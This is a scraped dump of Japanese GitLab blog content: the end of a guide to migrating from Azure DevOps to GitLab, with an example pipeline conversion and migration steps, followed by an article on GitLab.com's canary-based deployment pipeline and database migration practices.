CI/CDへのマルチステージYAMLパイプラインのAI搭載変換を[導入しました](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/merge_requests/1298)。この自動変換は、シンプルな単一ファイルパイプラインに最適で、本番環境対応の`.gitlab-ci.yml`ファイルではなく、動作する出発点を提供するように設計されています。このツールは、機能的に同等のGitLabパイプラインを生成し、その後特定のニーズに合わせて調整および最適化できます。\n\n* Azureパイプライン YAMLを`.gitlab-ci.yml`形式に自動変換します。\n* シンプルな単一ファイルパイプライン設定に最適です。\n* 移行を加速するためのボイラープレートを提供し、最終的な本番環境アーティファクトではありません。\n* 複雑なシナリオ、カスタムタスク、エンタープライズ要件については、レビューや調整が必要です。\n* Azure DevOpsのクラシックリリースパイプラインはサポートしていません — 最初に[マルチステージYAMLに変換](https://learn.microsoft.com/en-us/azure/devops/pipelines/release/from-classic-pipelines?view=azure-devops)してください。\n\nリポジトリオーナーは、初期変換後にパイプラインをさらに最適化および強化するために、[GitLab CI/CDドキュメント](https://docs.gitlab.com/ci/)を確認する必要があります。\n\n変換されたパイプラインの例:\n\n```yml\n# azure-pipelines.yml\n\ntrigger:\n  - main\n\nvariables:\n  imageName: myapp\n\nstages:\n  - stage: Build\n    jobs:\n      - job: Build\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Build Docker image\n            inputs:\n              command: build\n              repository: $(imageName)\n              Dockerfile: '**/Dockerfile'\n              tags: |\n                $(Build.BuildId)\n\n  - stage: Test\n    jobs:\n      - job: Test\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          # Example: run tests inside the container\n          - script: |\n              docker run --rm $(imageName):$(Build.BuildId) npm test\n            displayName: Run tests\n\n  - stage: Push\n    jobs:\n      - job: Push\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Login to ACR\n            inputs:\n              command: login\n              containerRegistry: '\u003Cyour-acr-service-connection>'\n\n          - task: Docker@2\n            displayName: Push image to ACR\n            inputs:\n              command: push\n              repository: $(imageName)\n              tags: |\n                $(Build.BuildId)\n```\n\n```yaml\n# .gitlab-ci.yml\n\nvariables:\n  imageName: myapp\n\nstages:\n  - build\n  - test\n  - push\n\nbuild:\n  stage: build\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker build -t $imageName:$CI_PIPELINE_ID -f $(find . -name Dockerfile) .\n  only:\n    - main\n\ntest:\n  stage: test\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker run --rm $imageName:$CI_PIPELINE_ID npm test\n  only:\n    - main\n\npush:\n  stage: push\n  image: docker:latest\n  services:\n    - docker:dind\n  before_script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker tag $imageName:$CI_PIPELINE_ID $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n    - docker push $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n  only:\n    - main\n```\n\n**最終チェックリスト:**\n\n* タイムラインとバッチ戦略を決定します。\n* リポジトリ、PR、コントリビューターの完全なインベントリを作成します。\n* スコープ（PRとメタデータ vs Gitデータのみ）に基づいて、Congregateまたは組み込みインポートを選択します。\n* 誰が移行を実行するかを決定し、トークン/権限が設定されていることを確認します。\n* 個別に移行する必要があるアセット（パイプライン、作業アイテム、アーティファクト、フック）を特定し、それらの取り組みを計画します。\n* パイロット移行を実行し、結果を検証してから、計画に従ってスケールします。\n\n## 移行の実行\n\n計画後、トライアル実行から始めて、段階的に移行を実行します。トライアル移行は、組織固有の問題を早期に明らかにし、期間を測定し、結果を検証し、本番環境前にアプローチを微調整する上で役立ちます。\n\nトライアル移行が検証する内容:\n\n* 特定のリポジトリと関連アセットが正常に移行されるかどうか（履歴、ブランチ、タグ。Congregateを使用する場合はMR/コメントも含む）\n* 移行先がすぐに使用可能かどうか（権限、Runner、CI/CD変数、インテグレーション）\n* スケジュールとステークホルダーの期待値を設定するため、各バッチにかかる時間。\n\nダウンタイムのガイダンス:\n\n* GitLabの組み込みGitインポートとCongregateは、本質的にダウンタイムを必要としません。\n* 本番環境の場合では、ADOの変更を凍結（ブランチ保護または読み取り専用）して、移行中に見逃されたコミット、PR更新、作業アイテムの作成を回避します。\n* トライアル実行では凍結は必要なく、いつでも実行できます。\n\nバッチ処理のガイダンス:\n\n* 経過時間を短縮するために、トライアルバッチを連続して実行します。チームは非同期で結果を検証できます。\n* 計画したグループ/サブグループ構造を使用してバッチを定義し、APIレート制限を遵守します。\n\n推奨手順:\n\n1. GitLabでトライアル用のテスト先を作成:\n\n* GitLab.com: 専用グループ/ネームスペースを作成（例: my-org-sandbox）\n* Self-managed: トップレベルグループまたは必要に応じて別のテストインスタンスを作成\n\n2. 認証の準備:\n\n* 必要なスコープを持つAzure DevOps PAT\n* apiとread_repositoryを持つGitLabパーソナルアクセストークン（Congregateで使用されるファイルベースのインポートの場合は管理者アクセスも含む）```suggestion:-0+0\n* apiとread_repositoryを持つGitLabパーソナルアクセストークン（Congregateで使用されるファイルベースのインポートの場合は管理者アクセスも含む）\n\n3. トライアル移行の実行:\n\n* リポジトリのみ: GitLabの組み込みインポート（URLによるレポジトリインポート）を使用\n* リポジトリ + PR/MRおよび追加アセット: Congregateを使用\n\n4. トライアル後のフォローアップ:\n\n* リポジトリ履歴、ブランチ、タグ、マージリクエスト（移行された場合）、イシュー/エピック（移行された場合）、ラベル、関係性を確認します。\n* 権限/ロール、保護ブランチ、必要な承認、Runner/タグ、変数/シークレット、インテグレーション/Webhookを確認します。\n* パイプライン（`.gitlab-ci.yml`）または（該当する場合は）変換されたパイプラインを検証します。\n\n5. ユーザーに機能とデータの正確性を検証してもらいます。\n6. トライアル中に発見された問題を解決し、実行手順を更新します。\n7. ネットワークとセキュリティ:\n\n* 移行先の環境がIP許可リストを使用している場合、インポートが成功するように、移行ホストと必要なRunner/インテグレーションのIPを追加します。\n\n8. 本番環境への移行は段階的に実行:\n\n* 各段階で、ADOで変更凍結を実施します。\n* 進捗とログを監視します。レート制限に達した場合は、再試行するか、バッチサイズを調整します。\n\n9. オプション: 完了後、サンドボックスグループを削除またはアーカイブします。\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ibIXGfrVbi4?si=ZxOVnXjCF-h4Ne0N\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n## GitLabとAzure DevOpsの用語リファレンス\n\n| GitLab                                      | Azure DevOps                     | 類似点と主な違い                                                                        |\n| ------------------------------------------- | -------------------------------- | ------------------------------------------------------------------------------- |\n| グループ                                        | 組織                               | トップレベルのネームスペース、メンバーシップ、ポリシー。ADO組織にはプロジェクトが含まれ、GitLabグループにはサブグループとプロジェクトが含まれます。  |\n| グループまたはサブグループ                               | プロジェクト                           | 論理コンテナ、権限境界。ADOプロジェクトは多数のリポジトリを保持し、GitLabグループ/サブグループは多数のプロジェクトを整理します。           |\n| Project（Gitリポジトリを含む）                        | リポジトリ（プロジェクト内）                   | Git履歴、ブランチ、タグ。GitLabでは、「プロジェクト」はリポジトリとイシュー、CI/CD、Wikiなどを含みます。プロジェクトごとに1つのリポジトリ。 |\n| マージリクエスト（MR）                                | プルリクエスト（PR）                      | コードレビュー、ディスカッション、承認。MRルールには、承認、必要なパイプライン、コードオーナーが含まれます。                         |\n| 保護されたブランチ、MR承認ルール、ステータスチェック                 | ブランチポリシー                         | レビューとチェックを強制。GitLabは保護 + 承認ルール + 必要なステータスチェックを組み合わせます。                          |\n| GitLab CI/CD                                | Azureパイプライン                      | YAMLパイプライン、ステージ/ジョブ、ログ。ADOにはクラシックUIパイプラインもあり、GitLabは.gitlab-ci.ymlを中心にしています。    |\n| .gitlab-ci.yml                              | azure-pipelines.yml              | ステージ/ジョブ/トリガーを定義。構文/機能が異なります。ジョブ、変数、アーティファクト、トリガーをマッピングします。                     |\n| Runner（共有/特定）                               | エージェント/エージェントプール                 | マシン/コンテナでジョブを実行。デマンド（ADO）対タグ（GitLab）でターゲット。登録/スコーピングが異なります。                     |\n| CI/CD変数（プロジェクト/グループ/インスタンス）、保護/マスク          | パイプライン変数、変数グループ、ライブラリ            | 設定/シークレットをジョブに渡します。GitLabはグループ継承とマスキング/保護フラグをサポートします。                           |\n| インテグレーション、CI/CD変数、デプロイキー                    | サービス接続                           | サービス/クラウドへの外部認証。インテグレーションまたは変数にマッピング。クラウド固有のヘルパーが利用可能。                          |\n| 環境とデプロイメント（保護された環境）                         | 環境（承認付き）                         | デプロイターゲット/履歴を追跡。GitLabでは保護された環境と手動ジョブを介した承認。                                    |\n| リリース（タグ + ノート）                              | リリース（クラシックまたはパイプライン）             | バージョン管理されたノート/アーティファクト。GitLabリリースはタグに結び付けられ、デプロイメントは個別に追跡されます。                  |\n| ジョブアーティファクト                                 | パイプラインアーティファクト                   | ジョブ出力を保持。保持/有効期限はジョブまたはプロジェクトごとに設定されます。                                         |\n| パッケージレジストリ（NuGet/npm/Maven/PyPI/Composerなど） | Azureアーティファクト（NuGet/npm/Mavenなど） | パッケージホスティング。認証/ネームスペースが異なります。パッケージタイプごとに移行します。                                  |\n| GitLabコンテナレジストリ                             | Azureコンテナレジストリ（ACR）または他          | OCIイメージ。GitLabはプロジェクト/グループごとのレジストリを提供します。                                       |\n| イシューボード                                     | ボード                              | 列で作業を視覚化。GitLabボードはラベル駆動型で、プロジェクト/グループごとに複数のボードがあります。                           |\n| イシュー（タイプ/ラベル）、エピック                          | 作業アイテム（ユーザーストーリー/バグ/タスク）         | 作業単位を追跡。ADOタイプ/フィールドをラベル/カスタムフィールドにマッピング。エピックはグループレベルです。                        |\n| エピック、親子イシュー                                 | エピック/機能                          | 作業の階層。スキーマが異なります。エピックとイシュー関係を使用します。                                             |\n| マイルストーンとイテレーション                             | イテレーションパス                        | タイムボックス化。GitLabイテレーション（グループ機能）またはプロジェクト/グループごとのマイルストーン。                         |\n| ラベル（スコープ付きラベル）                              | エリアパス                            | 分類/所有権。階層エリアをスコープ付きラベルに置き換えます。                                                  |\n| プロジェクト/グループWiki                             | プロジェクトWiki                       | マークダウンWiki。両方ともリポジトリでバックアップされます。レイアウト/認証がわずかに異なります。                             |\n| CI経由のテストレポート、要件/テスト管理、インテグレーション             | テストプラン/ケース/実行                    | QA証拠/トレーサビリティ。ADOテストプランとの1対1対応はありません。多くの場合、CIレポート + イシュー/要件を使用します。              |\n| ロール（オーナー/メンテナー/デベロッパー/レポーター/ゲスト） + カスタムロール  | アクセスレベル + きめ細かい権限                | 読み取り/書き込み/管理を制御。モデルが異なります。グループ継承と保護されたリソースを活用します。                               |\n| Webhook                                     | サービスフック                          | イベント駆動型インテグレーション。イベント名/ペイロードが異なります。エンドポイントを再設定します。                              |\n| 高度な検索                                       | コードサーチ                           | フルテキストリポジトリ検索。Self-managed版のGitLabでは、高度な機能にElasticsearch/OpenSearchが必要な場合があります。 |",[974,975],"Evgeny Rudinsky","Michael Leopard","2025-12-08","2025-12-03","ガイド: Azure DevOpsからGitLabへの移行",[796,980,88],"git","GitLabプロフェッショナルサービスの移行ツールを使用してAzure DevOpsからGitLabへの完全な移行を実行する方法を学びます — 計画、実行から移行後のフォローアップタスクまで。",{"featured":13,"template":784,"slug":983},"migration-from-azure-devops-to-gitlab",{"content":985,"config":995},{"heroImage":986,"body":987,"authors":988,"updatedDate":844,"date":990,"title":991,"tags":992,"description":994,"category":707},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764108112/tyntnsy3xotlmehtnfkb.png","毎日、GitLabは世界最大のGitLabインスタンスであるGitLab.comにコード変更を最大12回、ダウンタイムなしでデプロイしています。これらのデプロイ管理には、GitLab独自のCI/CDプラットフォームを使用しており、世界中の数百万人のデベロッパーに影響を与えています。このデプロイ頻度は、私たちの主要な品質基準とストレステストとして機能しています。また、お客様は数週間や数か月待つことなく、開発から数時間以内で新機能にアクセスできるようになります。組織がDevOpsワークフローにGitLabを利用する場合、私たち自身のインフラストラクチャで大規模に実証されたプラットフォームを使用していることになります。この記事では、このデプロイの複雑さを処理するために、GitLab CI/CDのコア機能を使用して自動化されたデプロイパイプラインを構築した方法をご紹介します。\n\n\n## デプロイ速度がもたらすビジネスケース\n\n\n当社の実践から見えるもの：私たちのデプロイ頻度は単なるエンジニアリング指標ではなく、ビジネス上の必須要件です。迅速なデプロイサイクルにより、お客様からのフィードバックに数時間以内に対応し、セキュリティパッチを即座に提供し、新機能を本番環境で検証してからスケールすることができます。\n\n\nお客様が得られる価値：GitLab.comへのすべてのデプロイは、ユーザーに推奨するデプロイプラクティスを検証しています。GitLabのデプロイ機能を使用する場合、数百万のgit操作、CI/CDパイプライン、ユーザーインタラクションを日々処理する実証済みのアプローチを使用していることになります。以下のメリットがあります:\n\n- 最新機能が即座に利用可能：新しい機能は四半期ごとのリリースサイクルではなく、完成してから数時間以内に提供されます\n- 大規模環境で実証された信頼性：機能がGitLab.comで動作すれば、お客様の環境でも信頼できます\n- GitLabの完全な価値：ゼロダウンタイムデプロイにより、更新中でもDevOpsプラットフォームへのアクセスが失われることはありません\n- 実環境でテストされたプラクティス：当社のデプロイドキュメントは理論ではなく、世界最大のGitLabインスタンスを実際に運用する方法そのものです\n\n\n## コードフローアーキテクチャ\n\n\nデプロイパイプラインは、複数のステージを経て構造化された進行に従います。各ステージは、コード提案から本番環境へのデプロイまでの過程におけるチェックポイントとして機能します。\n\n```mermaid\n  graph TD\n      A[コード提案] --> B[マージリクエスト作成]\n      B --> C[パイプライントリガー]\n      C --> D[ビルド ＆ テスト]\n      D --> E{スペック/統合/QAテスト合格？}\n      E -->|いいえ| F[フィードバックループ]\n      F --> B\n      E -->|はい| G[デフォルトブランチへマージ]\n      G -->|定期的| H[Auto-Deployブランチ]\n\n      subgraph \"デプロイパイプライン\"\n          H --> I[パッケージ作成]\n          I --> K[Canary環境]\n          K --> L[QA検証]\n          L --> M[main環境]\n\n      end\n```\n\n\n## デプロイパイプラインの構成\n\nデプロイアプローチでは、GitLabのネイティブCI/CD機能を使用して、ハイブリッドインフラストラクチャ全体で複雑なデプロイを調整します。\nその実装方法をご紹介します。\n\n\n### ビルド\n\n\nGitLabのビルドは、それ自体が複雑なトピックであるため、ここでは概要レベルで説明します。\n\nOmnibusパッケージとCloud Native GitLab(CNG)イメージの両方をビルドします。OmnibusパッケージはGitalyフリート(Gitストレージレイヤー)にデプロイされ、CNGイメージは他のすべてのコンポーネントをコンテナ化されたワークロードとして実行します。PostgresやRedisなどの他のステートフルサービスは非常に大規模になったため、専任チームが個別に管理しています。GitLab.comの場合、これらのシステムはAuto-Deploy手順中にはデプロイされません。\n\n\n`gitlab-org/gitlab`を定期的に確認し、デフォルトブランチで成功した(「グリーン」)パイプラインを持つ最新のコミットを検索するスケジュールされたパイプラインがあります。グリーンパイプラインは、GitLabのすべてのコンポーネントが包括的なテスト群に成功したことを示します。次に、そのコミットから**auto-deployブランチ**を作成します。\n\n\nこれにより一連のイベントがトリガーされます。主に、このパッケージとモノリスの一部であるすべてのコンポーネントをビルドする必要があります。\n別のスケジュールされたパイプラインが、最新のビルドされたパッケージを選択し、デプロイパイプラインを開始します。手順としては、このようにシンプルに見えます：\n\n\n```mermaid\n  graph LR\n      A[ブランチ作成] --> B[ビルド]\n      B --> C[ビルドされたパッケージを選択]\n      C --> D[デプロイパイプラインを開始]\n```\n\n\nビルドには時間がかかり、さまざまな状況によりデプロイが変動する可能性があるため、最新のビルドをデプロイするように選択しています。技術的には、実際にデプロイされるよりも多くのGitLabのバージョンを.com用にビルドしています。これにより、常に準備が整ったパッケージが用意され、.comに対して完全に継続的にデリバリーされる製品に最も近い状態を実現できます。\n\n\n### 環境ベースの検証とCanary戦略\n\n品質保証(QA)は単なる後付けではなく、開発からデプロイまでのすべてのレイヤーに組み込まれています。QAプロセスでは、ユニットテスト、統合テスト、GitLabの機能との実際のユーザーインタラクションをシミュレートするエンドツーエンドテストを含む自動化されたテスト群を活用しています。しかし、デプロイパイプラインにとってさらに重要なのは、QAプロセスが環境ベースの検証を通じてCanary戦略と密接に連携していることです。\n\n\n検証アプローチの一環として、GitLabのネイティブ[Canaryデプロイ](https://docs.gitlab.com/ja-jp/user/project/canary_deployments/)を活用し、完全な本番環境へのデプロイ前に、限定されたトラフィックで変更を制御しながら検証できるようにしています。[すべてのトラフィックの約5%をCanaryステージに送信しています](https://handbook.gitlab.com/handbook/engineering/infrastructure/environments/canary-stage/#environments-canary-stage)。このアプローチはデータベースマイグレーションの複雑性を高めますが、Canaryデプロイを成功させることで、信頼性の高い製品をシームレスにデプロイすることができます。\n\nGitLabで使用するCanaryデプロイ機能は、本番環境における最も複雑なデプロイメントシナリオの管理を通じて改良されたものです。アプリケーション用にCanaryデプロイを実装する場合、大規模環境で実証済みのパターンを使用していることになります。\n\n当社のデプロイプロセスは、段階的ロールアウト戦略に従います:\n\n1. **ステージング環境 Canary:** 初期検証環境\n\n2. **本番環境 Canary:** 限定された本番トラフィック\n\n3. **ステージング環境 main:** ステージング環境への完全デプロイ\n\n4. **本番環境 main:** 本番環境への完全ロールアウト\n\n```mermaid\n  graph TD\n      C[ステージング環境 Canaryデプロイ]\n      C --> D[QA スモーク main Testステージ]\n      C --> E[QA スモーク Canary Testステージ]\n      D --> F\n      E --> F{テスト合格？}\n      F -->|はい| G[本番環境 Canary デプロイ]\n      G --> S[QA スモーク main Testステージ]\n      G --> T[QA スモーク Canary Testステージ]\n      F -->|いいえ| H[イシュー作成]\n      H --> K[修正＆バックポート]\n      K --> C\n\n      S --> M[Canary トラフィック監視]\n      T --> M[Canary トラフィック監視ベイク期間]\n      M --> U[本番環境安全性チェック]\n      U --> N[ステージング環境 main]\n      N --> V[本番環境 main]\n```\n\nQA検証は、この段階的デプロイプロセス全体の複数のチェックポイントで行われます。各Canaryデプロイ後、そしてデプロイ後のマイグレーション実施後に再度検証を行います。この多層的なアプローチにより、デプロイ戦略の各フェーズに独自のセーフティーネットが確保されます。GitLabの[包括的なテスト手法](https://handbook.gitlab.com/handbook/engineering/testing/)については、ハンドブックで詳しく説明しています。\n\n## デプロイパイプライン\n\nデプロイパイプライン全体で対処している課題についてご紹介します。\n\n### 技術アーキテクチャに関する考慮事項\n\n GitLab.comは、大規模な実環境でのデプロイの複雑性を体現しています。既知の最大規模のGitLabインスタンスとして、デプロイには公式のGitLab HelmチャートとLinuxパッケージを使用しており、これらはお客様が使用するものと同じアーティファクトです。[GitLab.comアーキテクチャ](https://handbook.gitlab.com/handbook/engineering/infrastructure/production/architecture/#gitlab-com-architecture)については、ハンドブックで詳しく説明しています。このハイブリッドアプローチにより、デプロイパイプラインは同一のデプロイサイクルでコンテナ化されたサービスと従来のLinuxサービスの両方をインテリジェントに処理する必要があります。\n\n **大規模なドッグフーディング:** [ゼロダウンタイムのアップグレード](https://docs.gitlab.com/ja-jp/update/zero_downtime/)用にドキュメント化したものと同じ手順を使用してデプロイしています。もし私たちにとってスムーズに機能しないものがあれば、お客様にも推奨しません。この自己規律により、デプロイツールの継続的な改善が促進されています。\n\n すべての環境とステージのアップグレードで、以下のステージが実行されます：\n\n```mermaid\n  graph LR\n      a[Prep] --> c[通常 Migrations - Canaryステージのみ]\n      a --> f[Assets - Canaryステージのみ]\n      c --> d[Gitaly]\n      d --> k8s\n\n      subgraph subGraph0[\"VMワークロード\"]\n        d[\"Gitaly\"]\n      end\n\n      subgraph subGraph1[\"Kubernetesワークロード\"]\n        k8s[\"k8s\"]\n      end\n\n      subgraph fleet[\"フリート\"]\n        subGraph0\n        subGraph1\n      end\n```\n\n\n**ステージの詳細:**\n\n\n- **Prep：** デプロイの準備状況を検証し、デプロイ前のチェックを実行します\n\n- **Migrations：** データベースの通常マイグレーションを実行します。これはCanaryステージでのみ実行されます。Canaryステージとmainステージは同じデータベースを共有しているため、mainステージのデプロイ時にはこれらの変更がすでに利用可能であり、タスクを繰り返す必要はありません。\n\n- **Assets：** すべての静的アセットにGCSバケットを活用しています。新しいアセットが作成された場合、バケットにアップロードし、Canaryステージですぐに利用できるようにします。アセットにWebPackを活用し、アセットの命名にSHAを適切に活用しているため、古いアセットを上書きする心配はありません。したがって、古いアセットは古いデプロイで引き続き利用可能であり、新しいアセットはCanaryがデプロイを開始するとすぐに利用可能になります。これはCanaryステージのデプロイ中にのみ実行されます。Canaryステージとmainステージは同じアセットストレージを共有しているため、mainステージのデプロイ時にはこれらの変更はすでに利用可能です。\n\n- **Gitaly：** 各GitalyノードでOmnibus LinuxパッケージによりGitaly仮想マシンスのトレージレイヤーを更新します。このサービスは[`git`とバンドル](https://gitlab.com/gitlab-org/gitaly/-/blob/master/doc/git-execution-environments.md)されているため、特殊です。したがって、このサービスがアトミックアップグレードを実行可能かを確認する必要があります。[Gitalyのラッパー](https://gitlab.com/gitlab-org/gitaly/-/tree/master/cmd/gitaly-wrapper)を活用し、新しいバージョンのGitalyをインストールし、ライブラリ[`tableflip`](https://github.com/cloudflare/tableflip)を使用しすることで、実行中のGitalyをクリーンにローテーションし、各インスタンスでこのサービスの高可用性を確保しています。\n\n- **Kubernetes：** Helmチャートを使用してコンテナ化されたGitLabコンポーネントをデプロイします。冗長性のために複数のゾーンにまたがる多数のクラスターにデプロイするため、通常これらは被害を最小限に抑えるために個別のステージに分割され、重大な問題が検出された場合はデプロイを途中で停止できるようにしています。\n\n\n### マルチバージョン互換性:隠れた課題\n\n\nプロセスを読むと、データベーススキーマがmainステージが認識しているコードより先行している期間があることに気付くでしょう。これは、Canaryステージが既に新しいコードをデプロイし、通常のデータベースマイグレーションを実行しているが、mainステージはまだこれらの新しいデータベース変更を認識していない以前のバージョンのコードを実行しているために発生します。\n\n**実際の例：** マージリクエストに新しい`merge_readiness`フィールドを追加するとします。デプロイ中、一部のサーバーはこのフィールドを期待するコードを実行していますが、他のサーバーはまだその存在を認識していません。これを適切に処理しないと、数百万人のユーザーが使用するGitLab.comが壊れてしまいます。適切に処理すれば、誰も何が起こったか気付きません。\n\nこれは他のほとんどのサービスでも発生します。たとえば、クライアントが複数のリクエストを送信する場合、そのうちの1つがCanaryステージに到達する可能性があります。他のリクエストはmainステージに向けられる可能性があります。これはデプロイとそれほど変わりません。サービスを実行している数千のPodを通過するのにかなりの時間がかかるためです。\n\n\nいくつかの例外を除いて、サービスの大部分は、Canaryでそのコンポーネントのわずかに新しいバージョンを一定期間実行します。ある意味では、これらのシナリオはすべて一時的な状態です。しかし、ライブの本番環境では数時間または数日間持続することがよくあります。したがって、永続的な状態と同じように注意を払って扱う必要があります。どのデプロイ中も、複数のバージョンのGitLabが同時に実行されており、それらすべてが適切に連携する必要があります。\n\n## データベース操作\n\nデータベースマイグレーションは、Canaryデプロイモデルにおいて独特の課題を提示します。新機能をサポートするためのスキーマ変更が必要な一方で、問題が発生した場合のロールバック機能を維持する必要があります。当社のソリューションでは、懸念を慎重に分離しています：\n\n- **通常マイグレーション:** Canaryステージ中に実行され、後方互換性を持つように設計され、可逆的な変更のみで構成されます\n\n- **デプロイ後マイグレーション:** 複数の成功したデプロイ後にのみ実行される「ポイント・オブ・ノーリターン」マイグレーション\n\n\nデータベース変更は、正確さと広範な検証手順により処理されます:\n\n\n```mermaid\n  graph LR\n      A[通常マイグレーション] --> B[Canaryステージデプロイ]\n      B --> C[mainステージデプロイ]\n      C --> D[デプロイ後マイグレーション]\n\n```\n\n### デプロイ後マイグレーション\n\n\nGitLabのデプロイには多くのコンポーネントが関与します。GitLabの更新はアトミックではないため、多くのコンポーネントが後方互換性を持つ必要があります。\n\n\nデプロイ後マイグレーションには、簡単にロールバックできない変更(データ変換、カラムの削除、または古いコードバージョンを壊す構造的変更など)が含まれることがよくあります。複数の成功したデプロイを通じて信頼を得た_後_にそれらを実行することで、次を保証します:\n\n\n1. **新しいコードが安定している**ため、ロールバックが必要になる可能性が低い\n\n2. **パフォーマンス特性**が本番環境で十分に理解されている\n\n3. **エッジケース**が発見され対処されている\n\n4. 問題が発生した場合に**影響範囲**が最小限に抑えられる\n\n\nこのアプローチは最適なバランスを提供します。Canaryリリースによる迅速な機能デプロイを可能にしながら、デプロイの安定性に高い信頼を得るまでロールバック機能を維持します。\n\n\n**拡張-移行-縮小パターン:** データベース、フロントエンド、アプリケーション互換性の変更は、慎重に調整された3段階のアプローチに従います。\n\n\n1. **拡張：** 古い構造を機能させたまま、新しい構造（カラム、インデックス）を追加\n\n2. **移行：** 新しい構造を使用する新しいアプリケーションコードをデプロイ\n\n3. **縮小：** すべてが安定した後、デプロイ後マイグレーションで古い構造を削除\n\n**実際の例:** マージリクエストに新しい`merge_readiness`カラムを追加する場合：\n\n1. **拡張：** デフォルト値を持つ新しいカラムを追加。既存のコードはそれを無視\n\n2. **移行：** 古いアプローチをサポートしながら、新しいカラムの読み書きを行うコードをデプロイ\n\n3 **縮小：** 複数の成功したデプロイの後、デプロイ後マイグレーションで古いカラムを削除\n\nすべてのデータベース操作、アプリケーションコード、フロントエンドコードなどは、エンジニアリングが遵守する必要がある一連のガイドラインの対象となります。これらは[マルチバージョン互換性ドキュメント](https://docs.gitlab.com/ja-jp/development/multi_version_compatibility/)で確認できます。\n\n\n## 結果と影響\n\nデプロイインフラストラクチャは測定可能なメリットを提供します:\n\n**GitLabにとって**\n\n* GitLab.comへの1日最大12回のデプロイ\n* 数百万人のデベロッパーにサービスを提供するダウンタイムゼロのデプロイ\n* セキュリティパッチを数日ではなく数時間以内で本番環境に提供可能\n* 一般公開前に大規模な本番環境で検証された新機能\n\n**お客様にとって**\n\n* 独自のアプリケーションに採用できる実証済みのデプロイパターン\n* お客様の環境に到達する前に、世界最大のGitLabインスタンスで実証された機能\n* 理論的なベストプラクティスではなく、実際の本番環境のプラクティスを反映したドキュメント\n* GitLabの推奨アップグレード手順が、あらゆる規模で機能するという確信\n\n## エンジニアリングチームへの重要なポイント\n\nGitLabのデプロイパイプラインは、デプロイ速度と運用の信頼性のバランスをとる洗練されたシステムを表しています。段階的デプロイモデル、包括的なテスト統合、堅牢なロールバック機能により、大規模な信頼性の高いソフトウェア配信の基盤を提供します。\n\n\n同様のシステムを実装するエンジニアリングチームにとって、次のような重要な考慮事項があります:\n\n\n- **自動テスト：** デプロイパイプライン全体にわたる包括的なテストカバレッジ\n\n- **段階的ロールアウト：** リスクを最小限に抑え、迅速な復旧を可能にする段階的デプロイ\n\n- **監視統合：** すべてのデプロイステージにわたる包括的な可観測性\n\n- **インシデント対応：** デプロイ問題の迅速な検出と解決能力\n\n\nGitLabのアーキテクチャは、最新のCI/CDシステムが競争力のあるソフトウェア開発に必要な速度を維持しながら、大規模デプロイの複雑性を管理する方法を実証しています。\n\n\n## 対象範囲に関する重要な注意事項\n\n\nこの記事では、特に**GitLab Omnibusパッケージ**と**Helmチャート**の一部であるサービス(基本的にコアGitLabモノリスとその緊密に統合されたコンポーネント)のデプロイパイプラインについて具体的に説明しています。\n\n\nただし、GitLabのインフラストラクチャの範囲は、ここで説明されている内容を超えて広がっています。他のサービス、特に**AIサービス**や**概念実証段階**にあるサービスは、Runwayと呼ばれる内部プラットフォームを使用した異なるデプロイアプローチに従っています。\n\n\nこれらの他のサービスで作業している場合、または興味がある場合は、[Runwayドキュメント](https://docs.runway.gitlab.com)で詳細情報を確認できます。\n\n\nGitLab Dedicatedなどの他のサービスは、お客様が**GitLab Environment Toolkit**を使用して、お客様自身で実行できることを期待する内容により沿った形でデプロイされます。詳細については、[GitLab Environment Toolkitプロジェクト](https://gitlab.com/gitlab-org/gitlab-environment-toolkit)をご覧ください。\n\n\nこの記事で概説されているデプロイ戦略、アーキテクチャに関する考慮事項、パイプラインの複雑性は、コアプラットフォームで使用している実証済みのアプローチを表していますが、大規模なエンジニアリング組織と同様に、さまざまなサービスタイプと成熟度レベルに合わせた複数のデプロイ戦略があります。\n\nAuto-Deployと手順に関する詳細なドキュメントは、以下のリンクで確認できます：\n  - [Engineering Deployments](https://handbook.gitlab.com/handbook/engineering/deployments-and-releases/deployments/)\n  - [Release Procedural Documentation](https://gitlab-org.gitlab.io/release/docs/)\n\n## その他のリソース\n\n- [GitLabリポジトリのバックアップ時間を48時間から41分に短縮した方法](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/)\n\n- [WebSocketでGitLab CIステータスを高速化した方法](https://about.gitlab.com/blog/how-we-supercharged-gitlab-ci-statuses-with-websockets/)\n\n- [バリューストリーム管理でMRレビュー時間を短縮した方法](https://about.gitlab.com/blog/how-we-reduced-mr-review-time-with-value-stream-management/)\n",[989],"John Skarbek","2025-12-01","世界最大のGitLabインスタンスを1日12回デプロイする方法",[746,993],"inside GitLab","GitLab.comのデプロイパイプラインを技術的に深掘りします。段階的ロールアウト、Canary戦略、データベースマイグレーション、マルチバージョン互換性について解説します。",{"featured":13,"template":784,"slug":996},"continuously-deploying-the-largest-gitlab-instance",{"content":998,"config":1007},{"description":999,"title":1000,"authors":1001,"heroImage":1003,"date":1004,"category":707,"body":1005,"updatedDate":1006},"SaaSの基礎、利用するメリット・デメリット、PaaSやIaaSとの違い、ソフトウェア開発に役立つサービスなどをご紹介。ぜひお読みください。","SaaSとは？意味・読み方・PaaS/IaaSとの違い・メリットをわかりやすく解説",[1002],"GitLab 